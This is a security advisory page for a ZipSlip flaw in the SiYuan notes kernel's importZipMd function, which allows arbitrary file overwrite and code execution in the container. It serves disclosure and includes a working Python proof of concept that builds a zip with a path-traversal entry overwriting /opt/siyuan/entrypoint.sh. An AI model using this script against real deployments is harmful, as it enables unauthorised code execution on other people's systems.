GHSA-gqfv-g4v7-m366

Suggest an improvement
Source
https://github.com/advisories/GHSA-gqfv-g4v7-m366
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-gqfv-g4v7-m366/GHSA-gqfv-g4v7-m366.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-gqfv-g4v7-m366
Aliases
Published
2025-12-09T17:18:04Z
Modified
2025-12-15T20:41:02.561312Z
Severity
  • 7.8 (High) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CVSS Calculator
Summary
SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE
Details

Summary

Function importZipMd is vulnerable to ZipSlip which allows an authenticated user to overwrite files on the system.

Details

An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is importZipMd, this can escalate to full code execution under some circumstances, for example using the official docker image it is possible to overwrite entrypoint.sh and after a container restart it will execute the changed code causing remote code execution.

PoC

Code used to generate the ZipSlip:

#!/usr/bin/env python3
import sys, base64, zipfile, io, time

def prepare_zipslip(filename):
    orgfile1 = open('Test.md','rb').read()
    payload =  open('entrypoint.sh','rb').read() #b"testpayload"

    zipslip = io.BytesIO()
    with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:        
        info = zipfile.ZipInfo('Test.md')
        mtime = time.time()
        t = time.localtime(mtime)
        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
        zipf.writestr(info, orgfile1)

        info = zipfile.ZipInfo(filename)
        mtime = time.time()
        t = time.localtime(mtime)
        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
        zipf.writestr(info, payload)
    return zipslip.getvalue()

gz = prepare_zipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh')
open('exp.zip', 'wb').write(gz)

Impact

The exploit is possible only if the attacker has access to import functionality. It's possible to achieve code execution and some persistence within the container

Database specific
{
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-22"
    ],
    "severity": "HIGH",
    "nvd_published_at": "2025-12-09T21:16:00Z",
    "github_reviewed_at": "2025-12-09T17:18:04Z"
}
References

Affected packages

Go / github.com/siyuan-note/siyuan/kernel

Package

Name
github.com/siyuan-note/siyuan/kernel
View open source insights on deps.dev
Purl
pkg:golang/github.com/siyuan-note/siyuan/kernel

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
0.0.0-20251202123337-6ef83b42c7ce

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-gqfv-g4v7-m366/GHSA-gqfv-g4v7-m366.json"